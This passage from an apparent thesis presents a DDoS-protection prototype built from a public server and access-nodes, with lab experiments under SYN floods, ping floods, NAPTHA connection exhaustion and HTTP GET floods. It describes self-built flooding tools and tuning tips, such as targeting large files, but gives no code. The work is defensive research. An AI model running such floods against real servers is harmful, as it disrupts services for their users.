 For the public server, the steps required to rent a communication channel for some client 

can also be represented using a finite state machine with 3 states listed in table 3.2. In each 

state, when an event is triggered, certain action is taken. The event can be either a packet 

arrival (AN response, or client request), or an internally initiated system call (alert, client 

connect, or timeout). The alert event may result from a client's misbehavior detected by the 

public server itself. The action can be internal (AN select), or external (accept, disconnect, or 

redirect).

Figure 3.4 illustrates the state diagram for the public server channel rental.  Any client 

successful  TCP connection  to  the  public  server  changes  its  state  from  LISTENING to 

REQUEST WAIT. There, a timer is set, (tm) for the client's first message to arrive. If the client 

fails to send a valid request in time, then the connection is closed and the state is changed 

back.  Otherwise,  a  valid  request  arrival  in  time  triggers  the  public  server  to  enter  the 

CHANNEL RENT state. The public server starts a timer (tan) and selects an access-node for 

communication and starts  negotiating to  get  a  channel  for  that  client.  The value of tan is 

limited to a maximum value (tfan), limiting the attempt time with the access-node. If the timer 

tan exceeds the value of tfan, the following access-node is selected (or if the access-node replies 

before the timeout with a busy message). If the public server detects a client misbehavior, 

such as an application level flood, an internal system call  is  triggered (alert)  causing the 

connection to be disconnected and the state to change to the initial stage. A successful attempt 

with an access-node is marked by the AN response event. In this case, the client is sent an 

HTTP redirection message and the connection is closed with it. The state changes then to the 

beginning.
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Table 3.1: The states used in access-node finite state machine.

State Description
LISTEN The access-node is waiting for a connection from PS
PS WAIT Wait for a valid request from the PS
CLIENT WAIT Wait for an application level message from the client
ACCESS 
GRANTED

Client normal communication with the protected server

Table 3.2: The states used in public server finite state machine.

State Description
LISTEN The public server is waiting for a connection from a client
REQUEST WAIT Wait for a valid request from the client
CHANNEL 
RENT

Attempt port rental from some access-node
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Figure 3.3: Access-node state diagram.

Figure 3.4: Public server state diagram.



CHAPTER 4

SYSTEM PROTOTYPE IMPLEMENTATION AND ITS 
EVALUATION

A  system  proof  of  concept  (POC)  prototype  combining  all  of  its  components  is 

implemented, for the sake of concept verification and empirical service impact evaluation. All 

components'  protocols  are  realized  using  JAVA programming  language.  Our  prototype  is 

deployed on a small scale experimental test bed of six hosts. Implementation and tests’ details 

are explained and results analysis are presented in the following sections.

4.1 Prototype Components Implementation
Here, the implementation for the latest working version of the POC prototype is detailed. 

Prototype components are; the access-node, public server, and the protected server.  Only a 

single access-node and public  server are  implemented and deployed for  testing,  however 

these implementations can be simply modified to be deployed in a larger scale realization of 

the system.

4.1.1 Access-Node Implementation
Each access-node initiates by listening to a fixed port called portN, which is the port used 

for communication with the public servers. Only a trusted public server is expected on this 

port, a special firewall rule is added for this purpose as follows;  

Every time some public server initiates communication with the access-node on that port, 

a new thread AN_Thread_a is started, refer to figure 4.1. There, the public server is checked, 

i.e.  recognized  IP address  sending  a  timely  valid  request  without  fail,  therefore,  a  port 

number, within the port range described in section 3.2.1 (page  16) is selected in random, 

called  portRand.  From this instant, the access-node adds a packet filtering exception, using 

iptables,  for  portRand to  be only accessible  by this  client's  IP address.  The ephemerally 

added permissions are as follows;
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The access-node then starts listening to portRand for tc seconds, where the initial value for 

tc is configured to 2 seconds as a  method for prevention of a resource exhaustion attack 

targeting the access-node. The access-node also stores the protected server's IP address(es). 

Then the access-node replies back to the public server with the assigned port number, and 

then disconnects  with the public server.  If  the expected client IP address connects to  the 

assigned port in time, then a new thread  AN_Thread_b starts, otherwise, the  AN_Thread_a 

thread is closed and consequently any added access rules are removed. The main loop of 

AN_Thread_a is repeated until the client have exhausted its maximum number of allowed 

connections  to  the  access-node  per  session  with  is  also  a  configurable  value.  Through 

AN_Thread_a, the client can open several TCP connections to the access-node. Each TCP 

connection is maintained separately by an AN_Thread_b, where there is an initial check, if the 

client fails to send an initial  application level message before tm seconds, then the thread 

AN_Thread_b is closed with the corresponding TCP connection to that client, otherwise, after 

the initial message timely arrival, a TCP connection to the protected server is established and 

the received client TCP packet data contents are cut and pasted into a fresh packet destined to 

the  protected  server  over  its  separate  TCP connection.  The  access-node  relays  messages 

between both the client and the protected server until one of two conditions occurs; either an 

alert is received from the protected server, or the data stream comes to an end, then the thread 

AN_Thread_b  is  closed  with  the  two  corresponding  TCP  connections.  In  the  current 

implementation,  the  alert  event  is  simply  triggered  by  closing  the  connection  from  the 

protected server's side. Yet a more advanced alert generator can be utilized as in described in 

[16].

The values for tc, tmax, conmax, and, tm are empirically user defined for this version of the 

POC prototype to demonstrate its workability and system efficiency against attack scenarios, 

however more optimum values should be specified, possible future extension to this work can 

be to employ machine learning for determining these values dynamically.

4.1.2 Public Server Implementation
The  public  server  implements  a  light protocol  that  functions  as  follows.  It starts  by 

listening to the World Wide Web  standard port i.e., port 80; this is to maintain transparency 

to the clients. In the case of a client connection, the public server accepts the TCP connection, 

then if the client sends a valid application level request in time, before tm expires, then the 

public server requests a connection port for this client from the access-node and includes in 
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its  request  the  IP address(es)  of  the  protected  server(s).  The public  server  then  uses  the 

received data from the access-node to redirect the client to the new destination address and 

port  number.  The  connection  with  the  client  is  closed  finally.  The  value  for  tm is  also 

configured to 2 seconds for the prototype testing.

4.1.3 Protected Server
For system testing, a test web server is needed to function as the protected server, which is  

used to evaluate system parameters such as the prototype relative effect on the protected 

server's performance with and without the defense enabled, and the whole system interaction, 

etc. According to the design specifications, no modifications are assumed at the protected 

server's side. Therefore a standard web server is utilized.  In several experiments explained in 

section  4.2,  Apache2.2  web  server  is  employed  for  this  purpose.  However  in  custom 

scenarios,  a  specially  built  “test  server”  is  utilized  to  demonstrate  several  access-node's 

performance metrics. Testing with commercial web servers has been also carried out after 

thoroughly debugging the whole system in the closed environment testbed first.
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Figure 4.1: Access-node implementation flow chart.



4.1.4 Attack and Measurement Tools
In order  to  measure  the performance of  the implemented  prototype in  face  of  several 

attack scenarios,  several attack tools are needed. Based on the experiment objectives, the 

attack  and the  measurement  tools  required are  determined.  Depending on its  availability, 

some tools  were used off  the shelf,  while  some other  tools  were  implemented  to  enable 

certain attacks to be performed with controlled parameters.

4.1.4.1 Implemented Tools
While  several  amateur  DoS  attack  tools  may  be  acquired  to  be  used  for  our  testing 

purposes, it was considered neither safe nor reliable to employ such tools within our system 

evaluation experiments. So it was decided to implement the required attack tools by also 

using JAVA language and customize these to fit each experiment's needs. The implemented 

tools are detailed in this subsection while other ready available software packages used are 

explained in the following subsection.
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Figure 4.2: Public server implementation flow chart.



29

Figure 4.3: Implemented attack tools flow charts, (a) creates and maintains idle TCP 
connections to the victim, (b) creates connections to the victim and starts application level  

flooding.
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The first implemented attack tool is a TCP connection exhaustion tool, see figure 4.3 (a). It 

can be used to perform the NAPTHA attack. This tool is used to measure such attack's effect 

on system components. The tool keeps initiating new TCP connections to the victim while 

enabling TCP keepalive for each connection. The number of connections is controlled by the 

configurable variable conmax while the rate of connection establishment is controlled by tr. The 

total number of connections are kept alive until the tool user (attacker) decides to terminate 

the attack, and then all the TCP connections to the victim server are closed. 

The second implemented attack tool is an application level flooding tool. As shown in 

figure 4.3 (b), the tool opens a controllable number of connections to the victim server, and 

uses these connections to perform an application level flooding also with a controllable rate. 

The application message used can be configured easily to match the victim server's requested 

resources. Usually a large file should be targeted for a higher success rate at disabling the 

victim. The attacker also has control on the connection establishment rate. It is considered an 

important tool for attempting a direct attack on the protected servers since a flood from a non-

connected  host(s)  will  never  reach  the  protected  server  otherwise.  This  tool,  with  slight 

modifications, can be used to perform several application level attacks.

Figure 4.4 shows an example of the application level message used within the attack tool 

to perform an HTTP based attack on the web server “10.0.0.1”.
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Figure 4.4: An example for the application message format used for HTTP GET flooding.



4.1.4.2 Other Tools
The other utilized tools are off the shelf software packages that are originally intended for 

network measurements, these tools are;

Httping: httping is a command-line open source tool [24] that enables measuring of HTTP 

based  server's  performance  with  respect  to  both  latency and  throughput.  In  section  4.2, 

httping version 1.3.1 is used with several experiments as a measurement tool to demonstrate 

the performance of the public server and the access-node.

Hping: hping is mainly a security tool that can generate a variety well formed protocol 

based packets as well as many other  features  [25]. It is originally a  measurement tool but 

also can be used to perform several attack types. From the variety of options available with 

this tool, it's main utilizations within our prototype evaluation is as a TCP SYN and ICMP 

echo requests generating tool. With it TCP SYN and ping flooding attacks can be performed 

with configurable parameters for system testing. Hping version 3.0.0-alpha-2 was utilized.

IxChariot: IxChariot is a test tool that can generate testing load traffic that can simulate 

realistic load conditions  [26]. IxChariot version 7.10 SP2 is used to assess the performance 

characteristics of the built prototype. 

Wireshark: Wireshark  version  1.2.2  is  used  for  capturing  packets  to  analyze  system 

interaction and as a debugging tool. Wireshark is a well known and stable network protocol 

analyzer that works under both windows and Linux [27]. 

4.2 Prototype Evaluation
The  built  prototype  is  put  into  several  tests.  In  this  section,  several  performed  lab 

experiments on the built prototype are demonstrated, evaluating; system components ideal 

performance under no attack conditions, system's effect on the protected server throughput, 

and system performance under several attack scenarios. Tests are performed utilizing ICMP, 

TCP  and HTTP protocols based attacks. 

4.2.1 Testbed Components and Topology
An experimental test bed is constructed for evaluating the system. Figure 4.5 shows the 

topology for the test bed. The router R1 provides access between; the client, attack source, 

the public server and the access-node's public interface, thus represents the public internet 

side. The router R2 provides access between the protected server and the access-node, where 

the access-node acts as a bridge between both sides. A single link to connect the public server 
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and the attack sources to R1 is being used to simulate the public server's network bottleneck. 

So,  a  client  that  can  successfully  communicate  with  the  public  server  will  be  able  to 

communicate  with  the  access-node's  public  side  normally  away from the  public  server's 

bottleneck. Table 4.1 provides a summary for the test bed components used and their details. 

Notice that the machine M3 is referred to as a client (legitimate) or a measurement source, 

interchangeably,  in  this  section,  while  it's  function  is  the  same,  which  is  to  collect 

measurements data on the component under experimentation.
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Figure 4.5:  Test-bed network topology.

Table 4.1: Test-bed components specifications.

No. Role Model CPU RAM 
M1 Public server Dell Vostro 1200 2.00 GHz II 2GB 
M2 Access-node Dell OPTIPLEX 330 2.53GHz II 2GB 
M3 Measurement source IBM ThinkPad X41 1.5GHz I 1GB 
M4 Attack source Dell OPTIPLEX 330 2.53GHz II 2GB 
M5 HTTP server IBM ThinkPad X41 1.5GHz I 1GB 
M6 Attack source IBM ThinkPad X201i 2.13GHz II 2GB
R1 Public NW Buffalo WZR-HP-G300NH AR9132 @ 400MHz 64MB 
R2 Hidden NW I-O Data ETX-R AMRISC 9041-G 16MB 

I: Single core, II: Dual core



4.2.2 Experiment 1: Testing Components' Interaction
The importance of this testing stage is to have an error free and deterministic prototype, so 

it  can  be  used  in  the  following  performance  evaluation  scenarios.  The  implemented 

components,  detailed  in  section  4.1  (page  24),  are  deployed  on  the  closed  environment 

testbed. This subsection verifies the interaction correctness between components. 

The setup is to have the measurement source request a web page from the public server, 

and capture the ongoing traffic between the prototype components to be able to see the timely 

interaction and prototype operation compliance to system design and also have measurements 

on the time each component takes to perform its internal functions. Packets are captured 

using  wireshark network protocol analyzer tool.

Figure  4.6 shows  the  captured  packets  for  a  communication  session  initiated  by  the 

measurement source, of IP address 10.0.0.20, request for a small single file (web page) from 

the public server, of IP address 10.0.0.1, while the access-node's public IP is 10.0.0.4. On the 

other  side,  the private  IP addresses for the access-node and the protected web server are 

192.168.0.2 and 192.168.0.3, respectively. In this experiment, the values for  portRand and 

portN and portP are set to 49227, 8080, and 3810, respectively. 

In this test, from the figure, the time taken for a TCP connection to be established is less  

than 0.2 [ms],  this is due to the test  bed's ideal conditions and its  negligible propagation 

delay,  so  this  test  only gives  various  figures  about  the  prototype  operation  itself  and its 

processing times, while the real life values will certainly depend also on the inter-components 

round trip times. 

The time taken by the access-node to process the request coming from the public server is 

equal to 4 [ms], thus select portRand, add client permissions, construct and send the reply 

message to the public server. On the other side, the time taken by the public server to process 

the message from the client before sending a portRand request to the access-node is equal to 

2 [ms], while the time taken by the public server to process the message from the access-node 

before sending the redirection message back to the client (measurement source) is equal to 1 

[ms]. These values reflect the built component's performance under no attack or other clients' 

traffic. Also, the access-node takes 1 [ms] to process a received packet from the client and 

send it to the protected server, or the other way around. 
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Figure 4.6: Captured communication between system components.



After debugging the prototype in the closed environment test bed, the final operation test, 

before starting its performance evaluation under attacks, is to test the prototype compatibility 

with SSL based web servers. To do so,  we replace the protected server (apache2.2) by a 

commercial  web  server  that  provides  e-banking  services  (https://www.nbe.com.eg). This 

requires having the access-nodes “private” side connected to the Internet. Results show that a 

client can have an encrypted connection with the protected e-banking web server through the 

access-node  without  the  need  for  any  special  certificate  installment  at  the  access-node 

premises. Figure 4.7 shows the e-bank's main page loaded both with direct connection and 

through the access-node.
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Figure 4.7: Testing with an SSL based e-banking website."https://www.nbe.com.eg"



4.2.3 Experiment 2: System Impact on the Protected Server's Performance
Two tests are performed in this experiment. 

The  first  test  measures  the  access-node  bottleneck  effect  on  the  protected  server's 

performance. Two metrics are used to indicate the server's performance; both the throughput 

of the protected server, and the message response time. Results are in contrast to the direct 

access case (i.e., no protection). 

The same setup as in the previous test is used. For comparison, the measurement source 

first requests a 72 MB file from the apache2.2 web server directly, without the access node in 

the middle and the average throughput and response time are recorded. This setup is repeated 

10 times, then the values are averaged. The same test is then repeated, but with the access-

node  positioned  in  the  middle  of  the  client-server  communication  path,  while  same 

parameters are measured.

Results show an average of 3.17% increase in the file download time, i.e., percentage of 

added communication path delay, and a 3.07% decrease in throughput. It must be stressed on 

that these figures result only from the store, process and forward time being introduced by the 

access-node,  therefore,  additional  delay  should  be  observed  if  the  network  topology  is 

changed and it highly depends on the relative location of the access-node to the client and the 

protected server in this case. So this test mainly evaluates the impact of our implementation 

for the access-node protocol on the throughput perceived by some client in comparison to the 

direct access case. This comparison is necessary to have an estimate on how much the access-

node implementation will throttle the link to the protected server. Notice that the selection, 

performed by the public server, of a not overloaded access-node that is in path between the 

client and the server is very important factor in minimizing such added latency. Also with a 

large  number  of  globally  distributed  access-nodes,  the  protected  service  clientele  have 

multiplied communication paths to the protected service's severs, so a bandwidth bottleneck 

due  to  the access-node itself  is  an unlikely situation.  However,  a  bottle  neck due to  the 

protected service's limited resources combined with a huge volume of clients (granted access) 

is a possible case. But,  in this case,  the protected server can be replicated to increase its  

ability  to  serve  the  "good"  clients.  How  much  server  replication  is  needed  should  be 

proportional to the volume of legitimate clients alone, not to the attackers, since attackers are 

blocked upon detection away from the server's bottle neck.
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The second test measures the initial connection delay, observed by the measurement tool, 

due to the presence of the public server's connection stage. Such delay is a function of the 

round trip times between the communicating entities, the number of channel rent attempts, 

the sum of processing, queuing delays at the public server and the sum of processing and 

queuing delays at the access-node. While the first two factors is discussed in chapter 5, the 

latter two factors are measured in this test, with no attack conditions are being set up so far.

Httping tool is used for measurement, where the public server is requested repeatedly and 

separately  for  500  consecutive  times  without  delay.  Each  time  the,  the  public  server's 

response time is measured. Notice that "response time" here refers to the time taken by the 

public server to respond to the client request by the HTTP redirection message. As a result, 

the  average  observed  response  time  for  the  public  server  (i.e.  initial  connection  delay, 

excluding the round trip time factor and with only one channel rent attempt) is equal to 5.1 

[ms], 5.9 [ms], and 16 [ms], for the minimum, average and maximum values, respectively.

4.2.4 System Testing Under Non-Application Level Attacks
In this section, system performance is evaluated on two levels. TCP based attacks was 

chosen deliberately, as layer 4 attacks, for system evaluation due to its similarity to legitimate 

traffic, making it indistinguishable, while other kinds of OSI level 4 attack traffic such as 

UDP floods, can be filtered by the ISP protection. ICMP echo request attack is used, as a 

level  3  attack,  to  compare its  severity with both TCP based attack  and application level 

attacks. Application level attacks are considered in section 4.2.5 (page 49).

4.2.4.1 Experiment 3: SYN-cookies Effectiveness Verification
The difficulty with TCP based attacks stems from its similarity to normal traffic. Flooding 

the  victim  with  TCP SYN  requests  is  a  well  known  method  for  exhausting  the  victim 

resources. It is not possible to filter out the mixed similar traffic headed for the victim as 

depicted  in [9]. As a counter measure, SYN-cookies is a popular mechanism that is said to be 

capable of protecting against such protocol misuse. So, the effectiveness of SYN cookies had 

to be verified first because it is a key protection method for the public server and will be  

assumed as enabled in all subsequent experiments.

The test evaluates the probability of a successful TCP connection with a server, with and 

without SYN cookies enabled in the Linux kernel. The setup of the experiment is to have the 

measurement  source  (M3)  represent  a  flash  of  300  clients  (10  TCP  connection 
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requests/second),  while  another  machine,  the  attack  source  (M4),  generates  TCP  SYN 

requests with spoofed IP addresses and adjustable attack rate. On the wire, one TCP SYN 

request occupies 54 bytes,  while a SYN/ACK response is  58 bytes long. Attack speed is 

varied from 0 to 146,000 TCP SYN requests per second. For every attack speed, probability 

of a successfully established TCP connection at the server (M1) is computed by dividing the 

number of successful connections by the total number of legitimate TCP connection attempts 

(i.e., 300). Each data point is the result of averaging 10 measurements. Each time, the attack 

is started first then the 300 clients start their connection requests during the attack process. 

According to figure 4.8, without SYN cookies enabled,  the probability of successfully 

established  connections  drops  significantly  by  increasing  the  attack  intensity  above  10 

requests  per  seconds,  and  reaches  0  %  at  attack  rates  above  2,000  [requests/sec]. 

Comparatively, enabling SYN cookies gives a probability of a successful TCP connection 

establishment of 100% up till attack rates of 122,000 [requests/sec], then starts dropping after 

that limit. This means that SYN cookies are capable of completely protecting the SYN queue, 

but to a limit.

4.2.4.2 Experiment 4: Public Server Performance under Attacks
The objective of the experiment is to evaluate the public server's performance against TCP 

SYN  floods  and  ICMP  echo  request  (ping)  floods.  Both  attack  methods  are  used  to 
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Figure 4.8: SYN cookies can effectively protect the TCP SYN queue.
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demonstrate  their  relative  severity  on  the  public  server's  performance.  The  performance 

metric for the public server is called serviceability, defined as; the probability of successfully 

receiving service from it (i.e., the redirection message). From the results of experiment 3, this 

test, and all the following tests, is then conducted with SYN cookies enabled to examine the 

effect  of  the  TCP  based  connection  flooding  attacks  on  the  prototype  public  server's 

performance. ICMP flood is used also to compare the severity of both attacks. To have a 

relative measure of how superior the public server's performance is, its results is compared to 

an ordinary, apache2.2, web server with SYN cookies protection as well. 

The public server is requested 300 times per attack rate and accordingly its serviceability 

is computed, which is equal to the number of successfully received redirection messages per 

total 300, and recorded. In the case of the apache2.2 web server, a 72 MB file is requested, 

recording the file transfer speed and time for each attack rate with 10 values recorded to 

compute the maximum, minimum, and, average. 
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Figure 4.9: Percentage of requests received service (serviceability): Public server vs. an  
ordinary web server with SYN cookies protection enabled.
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Figures  4.9 and 4.10 show the attack effect  on the public  server  in  comparison to  an 

ordinary (not hidden) web server, with SYN cookies enabled, under TCP SYN flood and ping 

flood attacks. With SYN flooding attack, we can see that the prototype public server provides 

100% serviceability at attack rates up to 122,000 requests per second and decreases by only 

11% at an attack rate of 146,000 requests per second. Conversely, at the ordinary web server, 

a degradation in performance due to attacks is observed at rates above 2,000 [requests/sec], 

and  total  service  disruption  at  rates  greater  than  25,000  [requests/sec].  The  decrease  in 

throughput for the ordinary web server is considered as a form of degradation of service 

attack. So the attack on a web server protected with SYN cookies enabled resulted in an 

increasing degradation of service for attack rates between 2000 and 25,000 [requests/sec] and 

a complete denial of service for higher rates. 

With ping flooding attack, the impact of the attack on both servers is less severe when 

compared to SYN flooding attack. So, the level targeted by the attack determines the amount 

of resources required  to bring the victim down. This finding is an additional justification 

point for the usage of TCP based attacks in the subsequent experiments for testing with the 

prototype components.  Obviously,  as the attack type changes from level 3 to level 4, the 

amount of traffic required  for having the same effect is observed to be less in magnitude. 

But, will this be the same when moving from level 4 to level 7 attacks?
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Figure 4.10: A web server suffers from performance degradation despite of SYN cookies  
protection.
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On the other hand, the public server's performance is only measured by it's timely ability 

of providing the redirection message to the client, i.e. serviceability. Therefore, the dedicated 

public server could handle more than 60 times the clients, or attackers, that an ordinary web 

server  can handle simultaneously without  service degradation,  where the client  perceived 

service quality level is the access-node's responsibility as verified in experiment 5. For larger 

attack  rates,  the  public  server  can  be  easily  replicated  or  better  installed  at  the  service 

provider, due to its simple dedicated function. 

Figure 4.11 shows the attack effect on the ordinary web server file transfer time under the 

two types of attacks. From the figure, the file transfer time starts to increase for SYN flood 

attack request rates larger than 1,000 [requests/sec], and shows complete denial of service at 

rates greater than 25,000 [requests/sec], while the server could handle more requests with 

ping  flooding  attack  but  where  degradation  of  service  started  later  after  rates  of  20,000 

[requests/sec].  On  the  other  hand,  as  shown  in  figure  4.12,  the  public  server  shows  a 

relatively constant channel rent time (also referred to as initial connection delay or response 

time) under increased attack rates up till 122,000 [requests/sec], and service is still available 

till  rates  of  146,000 [requests/sec]  but  with increased initial  connection  delay due to  the 

increased channel rent time, however as long as the public server is capable of providing the 
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Figure 4.11: Attack effect on web server file transfer time with SYN cookies protection 
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redirection message back to the client with the valid rented port (channel) from the selected 

access node, then denial of service is avoided and service level should be guaranteed by the 

access-node, see experiment 5. 

4.2.4.3 Experiment 5: Access-node Performance vs. SYN Flooding Attack
The access-node is targeted by attack flood to determine the effect on its performance. The 

access-node performance here is its effect on the protected server's throughput. According to 

the design, the access node does not reply to any packets, including TCP SYN requests, as 

long as the sender is not in its white list and only if the white listed sender is connecting to it's  

distinctive randomly assigned destination port. The result is that the TCP SYN flood from 

distributed attacking machines will be blocked by the access-node's firewall. So, only the up-

link to the access node is flooded, however the down-link and the access node resources 

should be free for the actual clients in the white list. 
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Figure 4.12: Time taken by the public server to reply with a valid redirection message to the  
client vs. SYN flooding attack rate.
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The result of the experiment shows that, even with attack rates of up to 146,000 requests 

per  second,  yet  the  access-node  almost  had  no  significant  impact  on  the  protected  web 

server's throughput, see figures 4.13 and 4.14. This is unlike the ordinary TCP proxy that 

must receive every TCP SYN request from the attackers on behalf of the protected service 

provider,  and  also  must  reply  to  every  request  with  a  SYN/ACK  response,  which  even 

occupies more bytes on the wire, thus affecting both the up-link and the down-link to the 

server,  and  therefore  deteriorating  the  service  level.  Also  TCP proxy  protection  cannot 

distinguish between multiple clients per single network since only source IP is used for that 

purpose,  so  if  some  source  IP address  is  detected  as  malicious  and  blocked,  therefore, 

collateral damage might be inevitable in this case. In addition, blocking at the access-node is 

based on the white list which does not grow larger with the increased size of attack, while in 

the  TCP proxy case,  the  black  list  can  grow significantly large  due  to  a  large  attacking 

network.
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Figure 4.13: The access-node protects the web server's performance
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4.2.4.4 Experiment 6: Public Server Compared to TCP Proxy Protection
In theory,  a TCP proxy can protect the web server from TCP based  denial of service 

attacks.  This  experiment  quantitatively  compares  the  built  public  server  to  TCP proxy 

protection, evaluating their performances versus TCP SYN flooding attack..

The setup is to place the apache2.2 web server behind a TCP proxy. The TCP proxy is 

targeted by the attack sources, increasing the attack rate from 0 to 146,000 [requests/sec] and 

recording  the  throughput  measured  by  the  measurement  tool  (httping).  The  minimum, 

average, and maximum for every 10 data values per attack rate is recorded. Also for each data 

point, the minimum, average, and maximum server response time is recorded. Results are 

compared to the public server's serviceability for the same attack rates.

From figures 4.15 and 4.16, the TCP proxy protection could also extend the protected web 

server's serviceability to higher attack rates than it could handle with SYN cookies protection 

alone.  However  the  measured  performance  for  the  protected  server  degrades  with  the 

increased volumes of attack traffic. On the other hand, the built public server prototype does 

also extend the serviceability of the protected web server, but without sacrificing any service 

quality.  The TCP proxy introduces degradation of service due to attack rates greater than 

2,000 [requests/sec]. On the other hand, the public server could withstand attack rates of up to 
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Figure 4.14: Web server file transfer time with access-node protection vs. TCP SYN flooding  
attack
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122,000 [requests/sec] with 100% serviceability and up to 146,000 [requests/sec] with 89% 

serviceability. 
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Figure 4.15: Probability of receiving service (serviceability): Public server vs. TCP 
proxy protection.
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Figure 4.16: Web server throughput with TCP proxy protection versus TCP SYN flooding  
attacks. The TCP proxy protection degrades service level with increasing attack rates.
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Figure 4.17 and 4.18 show the attack impact on the throughput and file transfer time from 

the server to the measurement source; three cases are shown, with SYN cookies alone, with 

TCP  proxy  protection,  and  with  access-node  protection.  A  72  [MB]  file  is  used  for 

measurement. Figure 4.17 shows the measured throughput for the protected server with three 

protection methods in comparison. The throughput decreases to 13.89 [Mbps] in the case of 

TCP proxy protection at attack rated of 122,000 [requests/sec]. As shown in figure 4.18, the 

response time keeps increasing in case of the TCP proxy protection, due to attacks, up to 26 

times compared to the original web server response time, while with access-node protection, 

an almost constant response time for the same attack rates is observed. 

These results  suggest that the victim will  have to install redundant TCP proxies if the 

service level is  to  be kept unharmed, and therefore introducing an increase in the DDoS 

protection budget for victims. For example, for attack rates of 122,000 [requests/sec], one 

public server can be considered more efficient than 6 TCP proxies, since it can handle 6 times 

as much clients without service degradation, where performance is guaranteed at the selected 

access-nodes. This is valid since the response of the public server to the client (the redirection 

message) means a new connection for that client with an access-node that is not overloaded, 

and not under attack. This can be used as an attraction point to customers, if the system is to  

be advertised for marketing.
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Figure 4.17: Performance comparison between SYN cookies protection, TCP proxy  
protection, and access-node protection versus TCP SYN flooding attacks.
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4.2.4.5 Experiment 7: Access-node Performance vs. NAPTHA Attack
This experiment measures the effect of the number of TCP connections at the access-node 

on  its  performance.  Performance  evaluated  is  the  access-node's  impact  on  the  measured 

throughput for the protected server. The developed attack tool described in section 4.1.4.1 

(page 28) is configured to work as a NAPTHA attack tool. The test is to increase the number 

of  open  TCP connections  to  the  access-node  and  keep  them open,  while  evaluating  the 

access-node's performance under such conditions. The number of idle TCP connections is 

increased  from 0 to  5000.  Notice  that  for  each  connection  on the  public  side  there  is  a  

corresponding one at the internal side of the access-node to a dummy server, thus the actual 

number of connections ranges from 0 to 10,000 idle connections. To make such amount of 

open connections possible at the access-node (and at the attack agent), the maximum number 

of  open file  descriptors  is  increased  in  the  Linux  kernel  is  increased  using  the  “ulimit” 

command,  as  well  as  modifying  the  following  system  configuration  values; 

“net.core.somaxconn”,  “net.core.netdev_max_backlog”,  “fs.file-max”, and “kernel.threads-

max”. 
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Figure 4.18: Web server file transfer time versus attack rate. (file size = 72 MB): TCP proxy  
protection, SYN cookies protection and access-node protection.
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Figure  4.19 shows  the  access-node's  effect  on  the  web  server  throughput  versus  the 

number of idle TCP connections. There is almost no effect on the measured service level of 

the protected server, for the attack plotted levels. Figure 4.20 shows the protected web server 

file transfer time under the same conditions. On the other hand, the public server protocol 

does  not  allow an  idle  TCP connection  from the  first  place,  which  is  why performance 

measurements on the public server using the NAPTHA attack was not conducted.
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Figure 4.19: Web server throughput versus the number of idle TCP connections at the access-
node. 
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4.2.5 System Testing Under Application Level Attacks
An HTTP server  expects  a  standard  HTTP traffic  from the  connected  hosts,  so using 

similar traffic for performing attacks on the servers becomes hard to detect and therefore 

block before reaching the victim. The victim must see the traffic first before determining its  

legitimacy. We select the  HTTP GET flooding attack as an application level attack test tool, 

and implement  it  for this  purpose.  The public  server,  by design,  handles the client's  first 

HTTP GET request and should be resilient to such attack, while other forms of application 

level misbehavior can be easily stopped upon detection. 

4.2.5.1 Experiment 8: HTTP GET Flood on Public Server
The  objective  of  this  experiment  is  to  evaluate  the  public  server  performance  under 

application level attacks. The public server performance is measured by its ability to reply to 

its legitimate clients with a valid redirection message containing the rented communication 

channel  with  some access-node.  HTTP GET flood  attack  is  the  test  tool.  For  a  relative 

measure, the public server and an ordinary apache2.2 web server are put under attack, using 

the implemented application level flooding tool. The message for the application level attack 

tool is configured to target a valid victim server's resource. The performance for both servers 

is then measured and compared. 
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Figure 4.20: Web server file transfer time (72MB) versus the number of idle TCP connections  
at the access-node. 
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The attack procedure is to have two attacking sources, each source generating x number of 

TCP connections to the victim server. On each TCP connection, 100 consecutive HTTP GET 

requests with 80 [ms] separation between requests are sent. Each request occupies 422 bytes 

on wire,  so the attack rate per single TCP connection is approximately 12.5 requests  per 

second. For each TCP connection, after the 100 requests are sent, the connection is closed and 

the attack is repeated through a new connection and so on. The attack rate is configured by 

configuring the value of x. 

In the case of the attack on the public server, each attack source is restricted to one request  

per TCP connection, thus limiting the achievable attack rates by a set of attack sources. The 

attack sources only sends the request but does not complete the connection stages, i.e., never 

connects to the access-node, such case effect on the access node itself is evaluated in the next 

experiment.

Four rates are selected to demonstrate the results from carrying out this experiment, rate; 

R1 = 1875 requests/sec,  R2 = 1250 requests/sec, R3 = 812.5 requests/sec, and R4 = 625 

requests/sec. 

The  prototype  public  server  survival  of  such  attack  is  measured  by  computing  its 

serviceability, described by its timely ability to rent a destination port and then reply with a 

standard HTTP redirection message to the client.  Serviceability is measured using httping 

tool,  where 500 consecutive connections  asking for the same resource are  opened to the 

public server during each attack rate, and the number of successfully serviced connections is 
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Figure 4.21: Web server throughput vs. HTTP GET flood attack.



divided by the  total  number  of  attempts.  The maximum achievable  attack  rate  we could 

achieve on the public  server  with the available  resources  is  100 [requests/sec]  due to  its 

restrictive  nature.  This  is  because  of  the  limit  of  1  request  per  TCP  connection,  this 

significantly reducing the achievable application level attack rate on the public server. The 

result is a 100% serviceability under such attack conditions. The average response time for 

the public server to the client request is measured equal to constant of 16.3 [ms] with and 

without the attack traffic.

On the other hand, figure 4.21 shows the impact of the performed HTTP GET flood on the 

ordinary apache2.2 server. Throughput is measured using Ixchariot tool. Attack is started at t 

= 5 seconds. For the rates R3 and R4, there is still service available from the server however 

the service quality for the server is highly degraded. For the rates R1 and R2, service from the 

ordinary web server is not available, i.e.,  complete denial  of service (0 % serviceability). 

Obviously, these attack rates are several orders of magnitude less than these required  for 

acheiving the same impact on the victim server. This suggests that, moving the attack type 

higher in the OSI reference model reduces the resource requirements on the attackers.

The public server implements a light protocol that is resilient to HTTP GET flood, which 

is the selected type of application level attack due to its similarity to the legitimate traffic. 

Other  ways  of  flooding the  public  server  should be  easier  to  detect  and therefore  block 

without a sophisticated intrusion detection system (IDS).

The public server only handles one application level request and then closes with the client 

after serving it with the redirection message. More than one HTTP request per connection is  

not  allowed  buy  the  public  server,  however,  such  persistence  is  allowed  if  the  client 

successfully completes the connection phase and connects to the access-node without fail. On 

the other hand ,  the ordinary server has two possible cases,  either expect  more than one 

request  over  the  same  TCP connection  (keep  alive  on),  or  only  one  request  per  TCP 

connection, however, the former case is more practical and commonly implemented.

This experiment proves that the public server implementation is resilient to HTTP GET 

flood and eliminates the need for a sophisticated IDS. The results are in comparison to an 

ordinary HTTP server installing apache2.2. The achievable attack rate on the public server is 

5 %  of that on an ordinary server due to its simple but restrictive protocol. So if the attacker  

